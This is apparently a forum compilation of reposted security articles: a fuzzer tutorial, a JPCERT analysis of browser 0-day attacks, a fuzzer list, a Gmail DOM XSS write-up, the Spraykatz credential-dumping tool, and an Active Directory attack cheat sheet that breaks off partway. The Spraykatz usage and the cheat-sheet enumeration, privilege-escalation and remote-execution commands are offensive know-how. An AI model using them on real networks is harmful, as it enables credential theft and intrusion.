Nytro

Build simple fuzzer - part 1 18 Apr 2020 Background We are locked in our houses now and it is not easy. In situations like this it is important to have a pet project on the side so you don’t get crazy. Well, after seeing what some people post on twitter I think it is actually too late for some. Anyway, for the remaining few I’ve decided to start a short series that will focus on writing a simple fuzzer from scratch. I think every security person should at some point write one. Not to really use it, no. That would be crazy considering how many great fuzzers are out there. But I’m a strong believer in the idea that if you really want to understand something you should try to disassemble/recreate it. To be quite honest with you it wasn’t an original idea. Some time ago h0mbre wrote an article ‘Fuzzing like a Caveman’ followed up by another one titled ‘Improving Performance’. I really applauded him for his effort but while reading the code I’ve realized I can probably improve and expand his work a bit. Before we proceed any further I suggest you check original articles first. Caveats First of all, we are learning here and this fuzzer is in no way going to be a proper tool used against real targets (at least not initially). This is why we are going to code it in python. For real tools we should have picked something way closer to the metal - language that compile to a native code. Most of the fuzzers used professionally are written in C/C++ and some cool kids use Rust, but almost nobody uses python. Fuzzing is primarily about how many executions per second you can squeeze out and use of interpreted language incurs many speed penalties. Second important thing is to pick a right target - we are going to use the exif library mentioned in h0mbre’s article because it was coded many years ago and will most likely spew crashes like there is no tomorrow. There is nothing worse than picking a target that might be actually well written. You will spend the rest of your day wondering if you suck at coding/fuzzing or maybe there are no crashes to be found. Remember - we are learning, we want some quick results. Main parts of fuzzer The premise of fuzzing is deceptively simple - you feed random data to a program and see if it crashed. Then you change the data a little bit and feed it to a program again. And again. And again. So essentially it is doing exactly the same thing over and over again expecting different outcomes. Like insanity. Before we move further there is one golden rule of fuzzing that you have to remember till the end of your days. It’s like the equivalent of Heisenberg principle or Schroedinger paradox - an observed fuzzer never crashes. Back to the general architecture - every fuzzer has at least two main components - mutation and execution engine. This is roughly how I’ve initially implemented it (and remember, it heavily borrows from ‘Fuzzing like Cavemen’ article): def main(): if len(sys.argv) < 2: print('Usage: {} <valid_jpg>'.format(sys.argv[0])) else: filename = sys.argv[1] orig_data = get_bytes(filename) dbg = debugger.PtraceDebugger() counter = 0 while counter < 100000: data = orig_data[:] mutated_data = mutate(data) create_new(mutated_data) execute_fuzz(dbg, mutated_data, counter) if counter % 100 == 0: print('Counter: {}\r'.format(counter),file=sys.stderr, end='') counter += 1 dbg.quit() Presented main function can be divided into two parts - setup phase and fuzz loop. Setup phase should ideally be executed only once per fuzz job so it’s an ideal place for all performance heavy operations - initialization of necessary components, reading configuration files etc. Our fuzzer actually doesn’t have that much of a setup to speak of. We only read the original file sample (more about it later) and set up a debugger (again, more about it later). Fuzz loop is the section of the code that will be executed thousands (or possibly millions) of times, therefore it is paramount to put only necessary code there. In our case we do two important things in the loop - we mutate the data and run the target program. There is some extra stuff that we can probably remove (like printing out the counter) but let’s leave it for now. Mutation engine The most important part of our fuzzer is the mutation engine. This is also the part where I saw the biggest opportunity for improvement (especially around performance). Another important advice for you - when you are fuzzing you always should start with a valid data sample and mutate it. If you start with random data there is a good chance your fuzzer will spend most of the cycles producing files that target program will immediately discard because the first two magic bytes do not match expected value. In our case we are starting with a known good jpeg file that contains valid exif data - Canon_40D.jpg. We read it via get_bytes() function, turn into a bytearray and feed to function below: def mutate(data): flips = int((len(data)-4) * FLIP_RATIO) flip_indexes = random.choices(range(2, (len(data) - 6)), k=flips) methods = [0,1] for idx in flip_indexes: method = random.choice(methods) if method == 0: data[idx] = bit_flip(data[idx]) else: magic(data, idx) return data First two lines are responsible for selecting how many and which bytes in our file we are going to modify. With FLIP_RATIO set to 1% we are roughly going to modify a given file in 80 places. For now this is completely arbitrary value but in future generations of fuzzer we will try to determine best value via some experimentation. Another thing worth noticing is that we want to avoid overwriting the first and last two bytes of a file (as jpeg format has some magic values there). Overwriting those magic values might result in a program discarding our file prematurely. In the main loop of the function we select one method we want to apply for a given byte(s) - either bit flip or magic value. Let’s cover bit flip first as it is very simple: def bit_flip(byte): return byte ^ random.choice([1, 2, 4, 8, 16, 32, 64, 128]) I don’t even think it requires explaining, but let’s do it for posterity. Array we are picking the one value from contains all possible values of a byte with only one bit ‘lit’. So, in short, we are selecting a single bit to flip in target value. Operation denoted by ^ is of course XOR. Magic values are only a bit more complicated. I’m going to skip the whole theory behind them but the short version is - those values are usually at the edge of maximum or minimum sizes for various types of integers. Being on the edge makes them very susceptible to off/under by one bugs caused by unsafe arithmetic operations. MAGIC_VALS = [ [0xFF], [0x7F], [0x00], [0xFF, 0xFF], # 0xFFFF [0x00, 0x00], # 0x0000 [0xFF, 0xFF, 0xFF, 0xFF], # 0xFFFFFFFF [0x00, 0x00, 0x00, 0x00], # 0x80000000 [0x00, 0x00, 0x00, 0x80], # 0x80000000 [0x00, 0x00, 0x00, 0x40], # 0x40000000 [0xFF, 0xFF, 0xFF, 0x7F], # 0x7FFFFFFF ] def magic(data, idx): picked_magic = random.choice(MAGIC_VALS) offset = 0 for m in picked_magic: data[idx + offset] = m offset += 1 When implementing magic numbers you have to decide if you want to manually split your values into bytes (hardcoding little endianess) or write smarter functions using binary shifts. I’m lazy so I’ve picked up the former. Again, at least for now. This absolutely does not exhaust the topic of mutation strategies as there are many more to pick from. Right now we have only implemented two and a major shortcoming of our mutator is the fact that the file we feed to the program never changes in length. Over time we will improve that. Program execution With our initial data mutated it is time to run the target program and see if by any chance it crashes. Most typical approach is to use some form of execv()/Popen()/run() function. This would force us to read the program/shell output and parse it looking for words like ‘Segmentation Fault’ or checking the return code. I have to say I didn’t like the idea much as I was always a big proponent of well structured outputs. In consequence I’ve decided to run our program under ptrace. def execute_fuzz(dbg, data, counter): cmd = ['exif/exif', 'data/mutated.jpg'] pid = debugger.child.createChild(cmd, no_stdout=True, env=None) proc = dbg.addProcess(pid, True) proc.cont() try: sig = dbg.waitSignals() except: return if sig.signum == signal.SIGSEGV: proc.detach() with open("crashes/crash.{}.jpg".format(counter), "wb+") as fh: fh.write(data) This is actually the first time I’ve used python-ptrace so I’m not entirely sure I’m doing everything correctly. The basic principle behind this code is that we just create a child process and start it under the debugger so we can watch for signals like SIGSEGV. In case we receive one we save the file that caused the crash with a unique name for further analysis. If a program finishes without any signal waitSignals just raises an exception and we stop this run. Currently this method does not offer us much more than Popen() would. In time however I intend to build more functionality upon it. What should come next When I ran my fuzzer I got 7810 crashes after only 100 000 iterations (by the way, it took only 6 minutes and 39 seconds). Given our unsophisticated mutation method and absolute lack of coverage measurements most likely many of them have exactly the same reason. In the next part of this series we will implement method to better determine uniqueness of a crash as well as other improvements around randomness. Right now our fuzzer is solely based on luck - it might modify the right bytes but it very well might not. In case of easy target like our exif library it clearly is enough, but will most likely fall short for harder ones. In part three I will try to implement some basic code coverage measurement to see if given changes in the sample file lead to more code being covered by our fuzzer. by @carstein Sursa: https://carstein.github.io/2020/04/18/writing-simple-fuzzer-1.html

Attacks Simultaneously Exploiting Vulnerability in IE (CVE-2020-0674) and Firefox (CVE-2019-17026) Email On 8 January 2020, Mozilla released an advisory regarding a vulnerability in Firefox. On 17 January, Microsoft reported that 0-day attacks exploiting a vulnerability in Internet Explorer (IE) had been seen in the wild. JPCERT/CC confirmed attacks exploiting both vulnerabilities at once and issued a security alert. This article explains the details of these attacks. Attack overview In this attack, victims are redirected to an attack site through a compromised website. Figure 1 shows the flow of events from a victim accessing a compromised site until being infected with malware. Figure 1: Flow of events When a victim is redirected to a malicious website on IE or Firefox, different exploit code is sent back depending on the browser. Figure 2 shows a part of the code to check the browser. Although this attack targets both 32bit and 64bit OS, it is only successful on 64bit OS as the malware which is finally deployed in this attack is only compatible with 64bit OS. Figure 2: Part of JavaScript to check the victim’s browser If the attack is successful, the exploit code is downloaded once again as a Proxy Auto Configuration file (PAC file). The code is executed as a PAC file, and then malware is downloaded and executed. The following sections will explain the exploit code for IE/Firefox and malware. Attacks exploiting a vulnerability in IE Figure 3 shows a part of exploit code targeting IE. Usually, the C&C servers of malware downloaded by executing exploited code are embedded in Shellcode. However, the exploit code contains a URL to download the malware at the beginning, which is then embedded in the Shellcode when executing the code. Presumably, it makes it easier for attackers to modify the exploit code. Figure 3: Part of JavaScript for IE Exploit The Shellcode executed by this exploit code retrieves the current process name and checks if it is “svchost.exe” or not. Figure 4 shows a part of code to check the process name. Figure 4: Part of code to check process name If the retrieved process name is "svchost.exe", the Shellcode downloads malware and executes it. However, in this attack, the exploit code is loaded on the browser; the retrieved process name is specific to the browser itself (e.g. iexplorer.exe). This exploit code does not download the malware when it is loaded on the browser. If the process name is not "svchost.exe", the Shellcode code downloads itself once again as a PAC file with WinHttpGetProxyForUrl as in Figure 5. When this exploit is loaded as a PAC file, the retrieved process name will be "svchost.exe", and the Shellcode downloads the malware and executes it (Figure 6). Figure 5: Part of code to download PAC file Figure 6: Part of code to download and execute the malware When the malware is downloaded and executed, only the code in Figure 6 is executed in any OS except for Windows 10. However, on Windows 10, the code in Figure 7 attempting privilege escalation (Juicy Potato [1]) is also executed at the same time. Figure 7: Part of code attempting privilege escalation Attacks exploiting a vulnerability in Firefox Figure 8 shows a part of code attacking Firefox. The Shellcode is almost the same as in Figure 5, which re-downloads the exploit code as a PAC file. The exploit code downloaded here is for IE environment. The behaviour after executing the PAC file is the same as in the IE exploit. Figure 8: Part of JavaScript for FireFox Exploit Malware If the attack is successful, eventually, the victim is infected with Gh0st RAT. The source code of the malware used in this attack is almost identical to the leaked code of Gh0st RAT [2] as Figure 9 describes. Figure 9: Comparison of source code of the malware and Gh0st RAT (Left: Malware used in the attack / Right: Gh0stRAT) The malware uses a custom protocol, and the data sent to a C&C server begins with the fixed string ”afxcbyzt”. The data to send is compressed with zlib, and the first 2-byte is XOR-ed with 0x88. Figure 10: Example of data sent In closing JPCERT/CC has confirmed that the attack was successful in Windows7 x64 (with patches released in December 2019) and Windows8.1 x64 (with patches released in January 2020), and the malware was executed in these environments. However, the malware infection was not confirmed in Windows 10 (with patches released in January 2020). It is likely that the exploit code is not compatible with Windows10. The hash value of a sample and C&C servers are listed in Appendix A and B. Please make sure that none of your devices is accessing these hosts. Shusei Tomonaga (Translated by Yukako Uchida) Reference [1] Juicy Potato (abusing the golden privileges) http://ohpe.it/juicy-potato/ [2] Github - iGh0st / gh0st3.6_src https://github.com/iGh0st/gh0st3.6_src Appendix A: C&C server last.tax-lab.net cnnmedia.servepics.com Appendix B: SHA-256 value of a sample c9e7467c88d391cecc0535f0c1576c30033791a94cec676d6bbc9a37931daf20 Sursa: https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-0day.html

Awesome-AFL Welcome to Awesome AFL A curated list of different AFL forks and AFL inspired fuzzers with detailed equivalent academic papers with AFL-fuzzing tutorials Projects AFL by Michal Zalewski Original & first versions of AFL fuzzer, american fuzzy lop is a free security-oriented fuzzer that employs genetic algorithms in order to efficiently increase code coverage of the test cases. So far it helped in detection of significant software bugs in dozens of major free software projects, including X.Org Server, PHP, OpenSSL, pngcrush, bash, Firefox, BIND, Qt, and SQLite. AFL++ by van Hauser afl++ is afl 2.56b with community patches, AFLfast power schedules, qemu 3.1 upgrade + laf-intel support, MOpt mutators, InsTrim instrumentation, unicorn_mode and a lot more! WinAFL by Ivan Fratric A fork of AFL for fuzzing Windows binaries afl-dyninst by Cisco Talos Lab American Fuzzy Lop + Dyninst == AFL Fuzzing blackbox binaries TriforceAFL by Jesse Hertz and Tim Newsham of nccgroup This is a patched version of AFL that supports full-system fuzzing using QEMU. The included QEMU has been updated to allow tracing of branches when running a system emulator for x86_64. Extra instructions have been added to start AFL's forkserver, make fuzz settings, and mark the start and stop of test cases. AFL-abiondo by Abiondo Improved version of AFL-Qemu mode (https://abiondo.me/2018/09/21/improving-afl-qemu-mode/) aflsmart by Maintained by Thuan Pham Smart Greybox Fuzzing (https://thuanpv.github.io/publications/TSE19_aflsmart.pdf) aflfast by Marcel Böhme Coverage-based Greybox Fuzzing as Markov Chain (https://mboehme.github.io/paper/CCS16.pdf) WineAFLplusplusDEMO by Andrea Fioraldi A set of helpers and examples to fuzz Win32 binaries with AFL++ QEMU afl-sensitive by Heng Yin Be Sensitive and Collaborative: Analyzing Impact of Coverage Metrics in Greybox Fuzzing (https://www.cs.ucr.edu/~heng/pubs/afl-sensitive.pdf) Redqueen by Syssec lab of Ruhr university of germany REDQUEEN: Fuzzing with Input-to-State Correspondence (http://synthesis.to/papers/NDSS19-Redqueen.pdf) afl-pin by van Hauser run AFL with pintool Driller by Shellphish team of University of Santa Barbara Augmenting AFL with Symbolic execution, a powerful symbolic execution engine aims at hybrid fuzzing AngoraFuzzer Angora is a mutation-based fuzzer. The main goal of Angora is to increase branch coverage by solving path constraints without symbolic execution. Angora: Efficient Fuzzing by Principled Search (https://arxiv.org/abs/1803.01307) VUzzer by Systems and Network Security Group at VU Amsterdam VUzzer: Application-aware Evolutionary Fuzzing (https://www.cs.vu.nl/~giuffrida/papers/vuzzer-ndss-2017.pdf) Manul by Maksim Shudrak Manul is a coverage-guided parallel fuzzer for open-source and blackbox binaries on Windows, Linux and MacOS (https://www.slideshare.net/MaximShudrak/shudrak-zero-bugs-found-hold-my-beer-afl-how-to-improve-coverageguided-fuzzing-and-find-new-zerodays-in-tough-targets) QSym by SSLab of Georgia Tech University QSYM: A Practical Concolic Execution Engine Tailored for Hybrid Fuzzing netafl by gavz winAFL patch to enable network-based apps fuzzing Unicorefuzz by The Computer Security Group at Berlin University of Technology Fuzzing the Kernel using AFL Unicorn. For details, skim through the WOOT paper or watch this talk at CCCamp19 (https://www.usenix.org/system/files/woot19-paper_maier.pdf) SharpFuzz: AFL-based fuzz testing for .NET by Nemanja Mijailovic SharpFuzz is a tool that brings the power of afl-fuzz to .NET platform (https://mijailovic.net/2019/01/03/sharpfuzz/) Nautilus 2.0 - a grammar based feedback fuzzer by Syssec lab of Ruhr university of germany https://www.syssec.ruhr-uni-bochum.de/media/emma/veroeffentlichungen/2018/12/17/NDSS19-Nautilus.pdf frida-js-afl-instr by Andrea Fioraldi UnTracer-AFL by Stefan Nagy (snagy2@vt.edu) and Matthew Hicks (mdhicks2@vt.edu) Full-speed Fuzzing: Reducing Fuzzing Overhead through Coverage-guided Tracing kleefl by julieeen Seeding fuzzers with symbolic execution AFLGo Maintained by @mboehme, @thuanpv, and @strongcourage AFLGo is an extension of American Fuzzy Lop (AFL). Given a set of target locations (e.g., folder/file.c:582), AFLGo generates inputs specifically with the objective to exercise these target locations (https://mboehme.github.io/paper/CCS17.pdf) afl-dyninst Maintained by van Hauser American Fuzzy Lop + Dyninst == AFL Fuzzing blackbox binaries afl-dynamorio Maintained by van Hauser run AFL with dynamorio - binary-only fuzzing with dynamorio and afl FairFuzz Maintained by Caroline Lemieux of UC-Berkeley An AFL extension to increase code coverage by targeting rare branches. FairFuzz has a particular advantage on programs with highly nested structure (packet analyzers, xmllint, programs compiled with laf-inte, etc) (http://www.carolemieux.com/fairfuzz-ase18.pdf) Superion Maintained by zhunki Superion is a fuzzer which extends the famous AFL to support structured inputs such as JavaScript and XML (https://2019.icse-conferences.org/track/icse-2019-Technical-Papers#event-overview) UnTracer-AFL Maintained by FoRTE-Research An AFL implementation with UnTracer (our coverage-guided tracer) neuzz Maintained by Dongdongshe neural network assisted fuzzer (https://arxiv.org/abs/1807.05620) FuzzFactory Maintained by Rohan Padhye FuzzFactory is an extension of AFL that generalizes coverage-guided fuzzing to domain-specific testing goals. FuzzFactory allows users to guide the fuzzer's search process without having to modify anything in AFL's search algorithm (https://dl.acm.org/doi/10.1145/3360600) kAFL Maintained by RUB-SysSec Blazing fast x86-64 VM kernel fuzzing framework with performant VM reloads for Linux, MacOS and Windows (https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-schumilo.pdf) AFLNet Maintained by Thuan Pham AFLNet: A Greybox Fuzzer for Network Protocols (https://thuanpv.github.io/publications/AFLNet_ICST20.pdf) Grimoire Maintained by Tim Blazytko Grimoire: Synthesizing Structure while Fuzzing - Grimoire is coverage-guided fuzzer for structured input languages. It is built upon Redqueen (https://www.usenix.org/system/files/sec19-blazytko.pdf) JQF Maintained by Rohan Padhye of UC-Berkeley JQF is a feedback-directed fuzz testing platform for Java, which uses the abstraction of property-based testing. JQF is built on top of junit-quickcheck: a tool for generating random arguments for parametric Junit test methods. JQF enables better input generation using coverage-guided fuzzing algorithms such as Zest. (https://cs.berkeley.edu/~rohanpadhye/files/zest-issta19.pdf) PerfFuzz Maintained by Caroline Lemieux of UC-Berkeley PerfFuzz: Automatically Generate Pathological Inputs for C/C++ programs : Performance problems in software can arise unexpectedly when programs are provided with inputs that exhibit pathological behavior. But how can we find these inputs in the first place? PerfFuzz can generate such inputs automatically: given a program and at least one seed input, PerfFuzz automatically generates inputs that exercise pathological behavior across program locations, without any domain knowledge.PerfFuzz uses multi-dimensional performance feedback and independently maximizes execution counts for all program locations. This enables PerfFuzz to find a variety of inputs that exercise distinct hot spots in a program. (http://www.carolemieux.com/perffuzz-issta2018.pdf) Ankou Maintained by Valentin Manès aka Jilyac Ankou is a source-based grey-box fuzzer. It intends to use a more rich fitness function by going beyond simple branch coverage and considering the combination of branches during program execution. The details of the technique can be found in our paper "Ankou: Guiding Grey-box Fuzzing towards Combinatorial Difference", which is published in ICSE 2020. (https://www.jiliac.com/files/ankou-icse2020.pdf) Tutorials AFL-Workshop Materials of the "Fuzzing with AFL" workshop by Michael Macnair (@michael_macnair) Fuzzing with AFL is an Art an awesome AFL coverage improvement idea by Brendan Dolan-Gavitt aka moyix of Computer Science and Engineering Department at NYU-Poly Software Exploit Development – Fuzzing with AFL Basic usage of American Fuzzy Lop with real world examples Advanced usage of American Fuzzy Lop with real world examples Advanced AFL usage with real-world examples -- preeny and dictionaries Advanced AFL usage with real-world examples -- Persistent mode More advanced usage of AFL with real world examples -- Fuzzing libraries Fuzzing – how to find bugs automagically using AFL Effective AFL Fuzzing 1: Better Harness AFL / WinAFL Tips and Tricks Hunting For Bugs With AFL 101 - A PRIMER Fuzzing capstone using AFL persistent mode afl-unicorn: Fuzzing Arbitrary Binary Code INTRO TO AMERICAN FUZZY LOP – FUZZING WITH ASAN AND BEYOND Guided Fuzzing with Driller Super Awesome Fuzzing, Part One INTRO TO AMERICAN FUZZY LOP – FUZZING IN 5 STEPS How to Use Fuzzing in Security Research Investigating Windows Graphics Vulnerabilities: A Reverse Engineering and Fuzzing Story Hunting For Bugs With AFL 101 - A PRIMER Fuzzing arbitrary functions in ELF binaries Filesystem Fuzzing with American Fuzzy Lop Fuzzing workflows; a fuzz job from start to finish Finding pearls; fuzzing ClamAV Tutorial: Fuzzing GIMP Fuzzing projects with american fuzzy lop (AFL) Fuzzing with AFL Starting fuzz with AFL Fuzzing 101 The prime focus of this workshop would be around the following areas: Input-based fuzzing (AFL), finding memory bugs using ASAN with AFL integration, protocol fuzzing (HTTP, FTP, SMTP). Then we concluded the workshop by showcasing multiple bugs found during their research. Sursa: https://github.com/Microsvuln/Awesome-AFL

DOM XSS in Gmail with a little help from Chrome May 3, 2020 | 4 Comments How to use browser features to help find DOM XSS. The invisible Messages of Gmail Last year, I looked for DOM XSS in Gmail website. Instead of using url params or the emails themselves as the source of the attack, I decided to use the much more discreet yet ubiquitous postMessage api. At first glance, the Gmail inbox seems a simple webpage, but if you go through the looking glass, it’s actually a dozen of different webpages (or iframes) communicating between each others. My first task was to make the cross-frames messages visible. This is not a native feature in DevTools yet. Instead, you can use this simple postMessage logger extension. After reloading, the console is now overwhelmed with frame to frame messages going back and forth. Each message has a target (the frame which receives the message), a source (the frame which sent the message), an origin (the domain of the source) and the data, which can be a string or a JSON object (or any kind of object that will be cloned in the process). Messages can be sent by any frame to another, even from different domain and even from different tab if the source has a reference to the target, with window.opener, window.open() and window.frames. The target receives the message using addEventListener("message", function(message){/* handle message here */}) like in the extension. If there are too many messages, you can customize the extension to filter messages by any of their property. I was looking for interesting messages and one message in particular contained an url in the data: This message is sent by “hangouts.google.com” to “mail.google.com” . Not only is there a url in the message data, but the url contains the word “frame”. interesting… The browser Toolbox I went to the network tab of DevTools and filtered the requests by type “doc” which means “top window url and iframes src”. The same url was there: I could also confirm that the request referrer was “mail.google.com” which was a good sign since it’s the domain that received the Message. The value in red circle is the initiator of the request, the JS code that loaded the iframe. You can click on it and it brings you directly to the corresponding code in the source tab. Unminify the code, set a breakpoint, reload and the breakpoint is hit: And voila! The function that triggers the request is appendChild(). This is pretty much all we can understand from the code which is unreadable. But with the magic of the debugger we can confirm that the argument contains an iframe with the src set to the url. If you click on the functions in the Call Stack on the right, you can navigate through the “control flow” of the program and understand its logic. For example, here is how the message is received by the frame: You can even see the code where the source of the message sent it: There are dozens of functions between the listener and the loading of the url, across multiple files and thousands of lines of code. It is not uncommon that the browser freezes, breaks or skips breakpoint when you debug such heavy webpages, it’s a matter of trial and error! ? I tried to send a message to the frame from the console with the same data but with “javascript:alert(1)” instead of the url. I didn’t got an alertbox, but a CSP error message. Thankfully, this CSP rule wasn’t enforced by IE11 and Edge (at the time) so I was able to trigger the alertbox on those browsers. There was no check on the origin of the message. A simple attack scenario is to start from the attacker webpage, open a new tab to Gmail and inject the payload in the Gmail tab using postMessage. The Gmail tab loads the javascript iframe and the attacker has arbitrary code execution on the victim’s Gmail page, which means it can read and send emails, change password of accounts registered to this email etc… The random Channel Name There was still one issue: with so much communication between so many frames, it is easy to get confused, so messages usually have a channel name. The name is a random 6 char generated by “mail.google.com” and transmitted in the first message to “hangouts.google.com”. In all following messages that it receives, “hangouts.google.com” checks if it contains the correct channel name, and if not it doesn’t process the message. The attacker doesn’t know the channel name, and 6 alphanumeric is too much possibilities to try all. The random generator is “Math.random()” which is not secure and has been exploited in the past by a Google engineer to find an XSS in Facebook! ? However the technique required the state of the random generator to be shared between cross-domain tabs which is not the case anymore. The third solution is to load an iframe controlled by the attacker in the hierarchy of frames in the Gmail tab. Because of the way cross-domain redirection of iframes works in the browser, the fact that Gmail X-Frame-Options header is “SAMEORIGIN” and that the messages were sent with the argument targetOrigin “*”, it would then be possible to intercept the channel name and execute the XSS. Conclusion I couldn’t find an easy way to load an iframe inside Gmail, but with all this I was confident enough to send a report to Google VRP and after a few days I received the “Nice Catch” answer and reward. Google fixed it by adding check on the origin of the message containing the url. The XSS doesn’t work anymore, but the message is still sent if you want to check. Browsers have all the cool features to navigate complex code, and for the features that are still missing, you can build you own extensions easily. With that, good hunting! ? Sursa: https://opnsec.com/2020/05/dom-xss-in-gmail-with-a-little-help-from-chrome/

Spraykatz - retrieve credentials on Windows machines 890 SHARES ShareTweet Spraykatz is a tool without any pretention able to retrieve credentials on Windows machines and large Active Directory environments. It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible. Installation This tool is written for python>=3. Do not use this on production environments! Ubuntu On a fresh updated Ubuntu: apt update apt install -y python3.6 python3-pip git nmap git clone --recurse-submodules https://github.com/aas-n/spraykatz.git cd spraykatz pip3 install -r requirements.txt Using Spraykatz A quick start could be: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24 Mandatory arguments Switches Description -u, --username User to spray with. He must have admin rights on targeted systems in order to gain remote code execution. -p, --password User's password or NTLM hash in the LM:NT format. -t, --targets IP addresses and/or IP address ranges. You can submit them via a file of targets (one target per line), or inline (separated by commas). Optional arguments Switches Description -d, --domain User's domain. If he is not member of a domain, simply use -d . instead. -v, --verbosity Verbosity mode {warning, info, debug}. Default == info. Acknowlegments Spraykatz uses slighlty modified parts of the following projects: Mimikatz Impacket Pypykatz Pywerview Sysinternals hackndo Written by Lydéric Lefebvre Copyright (c) 2019 Lydéric Lefebvre Main page: https://github.com/aas-n/spraykatz Sursa: https://hakin9.org/spraykatz-retrieve-credentials-on-windows-machines/

Investigation of x64 glibc heap exploitation techniques on Linux Mathias F. Rørvik Thesis submitted for the degree of Master in programming and networks 60 credits Department of Informatics Faculty of mathematics and natural sciences UNIVERSITY OF OSLO Spring 2019 Download: https://www.duo.uio.no/bitstream/handle/10852/69062/7/mymaster.pdf

Active Directory Exploitation Cheat Sheet A cheat sheet that contains common enumeration and attack methods for Windows Active Directory. This cheat sheet is inspired by the PayloadAllTheThings repo. Summary Active Directory Exploitation Cheatsheet Summary Tools Enumeration Using PowerView Using AD Module Using BloodHound Useful Enumeration Tools Local Privilege Escalation Lateral Movement Powershell Remoting Remote Code Execution with PS Credentials Import a powershell module and execute its functions remotely Executing Remote Stateful commands Mimikatz & Invoke-Mimikatz Useful Tools Domain Privilege Escalation Kerberoast ASREPRoast Password Spray Attack Force Set SPN Abusing Shadow Copies List and Decrypt Stored Credentials Unconstrained Delegation Constrained Delegation Resource Based Constrained Delegation DNSAdmins Abuse Abusing Active Directory-Integraded DNS Abusing Backup Operators Group Abusing Exchange Weaponizing Printer Bug Abusing ACLs Abusing IPv6 with mitm6 SID History Abuse Domain Persistence Golden Ticket Attack DCsync Attack Silver Ticket Attack Skeleton Key Attack DSRM Abuse Custom SSP Cross Forest Attacks Trust Tickets Abuse MSSQL Servers Breaking Forest Trusts Tools Powersploit PowerUpSQL Powermad Impacket Mimikatz Rubeus -> Compiled Version BloodHound AD Module ASREPRoast Enumeration Using PowerView Get Current Domain: Get-NetDomain Enum Other Domains: Get-NetDomain -Domain <DomainName> Get Domain SID: Get-DomainSID Get Domain Policy: Get-DomainPolicy #Will show us the policy configurations of the Domain about system access or kerberos (Get-DomainPolicy)."system access" (Get-DomainPolicy)."kerberos policy" Get Domain Controlers: Get-NetDomainController Get-NetDomainController -Domain <DomainName> Enumerate Domain Users: Get-NetUser Get-NetUser -SamAccountName <user> Get-NetUser | select cn Get-UserProperty #Check last password change Get-UserProperty -Properties pwdlastset #Get a spesific "string" on a user's attribute Find-UserField -SearchField Description -SearchTerm "wtver" #Enumerate user logged on a machine Get-NetLoggedon -ComputerName <ComputerName> #Enumerate Session Information for a machine Get-NetSession -ComputerName <ComputerName> Enum Domain Computers: Get-NetComputer -FullData Get-DomainGroup #Enumerate Live machines Get-NetComputer -Ping Enum Interesting Group Members: Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName> Enumerate Shares #Enumerate Domain Shares Find-DomainShare #Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess Enum Group Policies: Get-NetGPO # Shows active Policy on specified machine Get-NetGPO -ComputerName <Name of the PC> Get-NetGPOGroup #Get users that are part of a Machine's local Admin group Find-GPOComputerAdmin -ComputerName <ComputerName> Enum OUs: Get-NetOU -FullData Get-NetGPO -GPOname <The GUID of the GPO> Enum ACLs: # Returns the ACLs associated with the specified account Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose #Search for interesting ACEs Invoke-ACLScanner -ResolveGUIDs #Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\\Path\Of\A\Share" Enum Domain Trust: Get-NetDomainTrust Get-NetDomainTrust -Domain <DomainName> Enum Forest Trust: Get-NetForestDomain Get-NetForestDomain Forest <ForestName> #Domains of Forest Enumeration Get-NetForestDomain Get-NetForestDomain Forest <ForestName> #Map the Trust of the Forest Get-NetForestTrust Get-NetDomainTrust -Forest <ForestName> User Hunting: #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose #Find local admins on all machines of the domain: Invoke-EnumerateLocalAdmin -Verbose #Find computers were a Domain Admin OR a spesified user has a session Invoke-UserHunter Invoke-UserHunter -GroupName "RDPUsers" Invoke-UserHunter -Stealth #Confirming admin access: Invoke-UserHunter -CheckAccess ❗ Priv Esc to Domain Admin with User Hunting: I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit! PowerView 3.0 Tricks Using AD Module Get Current Domain: Get-ADDomain Enum Other Domains: Get-ADDomain -Identity <Domain> Get Domain SID: Get-DomainSID Get Domain Controlers: Get-ADDomainController Get-ADDomainController -Identity <DomainName> Enumerate Domain Users: Get-ADUser -Filter * -Identity <user> -Properties * #Get a spesific "string" on a user's attribute Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description Enum Domain Computers: Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter * Enum Domain Trust: Get-ADTrust -Filter * Get-ADTrust -Identity <DomainName> Enum Forest Trust: Get-ADForest Get-ADForest -Identity <ForestName> #Domains of Forest Enumeration (Get-ADForest).Domains Using BloodHound #Using exe ingestor .\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass <Password> --JSONFolder <PathToFile> #Using powershell module ingestor . .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile> Useful Enumeration Tools ldapdomaindump Information dumper via LDAP adidnsdump Integrated DNS dumping by any authenticated user ACLight Advanced Discovery of Privileged Accounts Local Privilege Escalation PowerUp Misconfiguration Abuse BeRoot General Priv Esc Enumeration Tool Privesc General Priv Esc Enumeration Tool FullPowers Restore A Service Account's Privileges Juicy Potato Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation ⚠️ Works only until Windows Server 2016 and Windows 10 until patch 1803 Lovely Potato Automated Juicy Potato ⚠️ Works only until Windows Server 2016 and Windows 10 until patch 1803 PrintSpoofer Exploit the PrinterBug for System Impersonation ? Works for Windows Server 2019 and Windows 10 RogueWinRM Exploit the BITS Service for System Impersonation ⚠️ Works only if the service of WinRM doesn't run. Abusing Token Privileges Lateral Movement Powershell Remoting #Enable Powershell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting #Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName <Name> Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName> Remote Code Execution with PS Credentials $SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword) Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami} Import a powershell 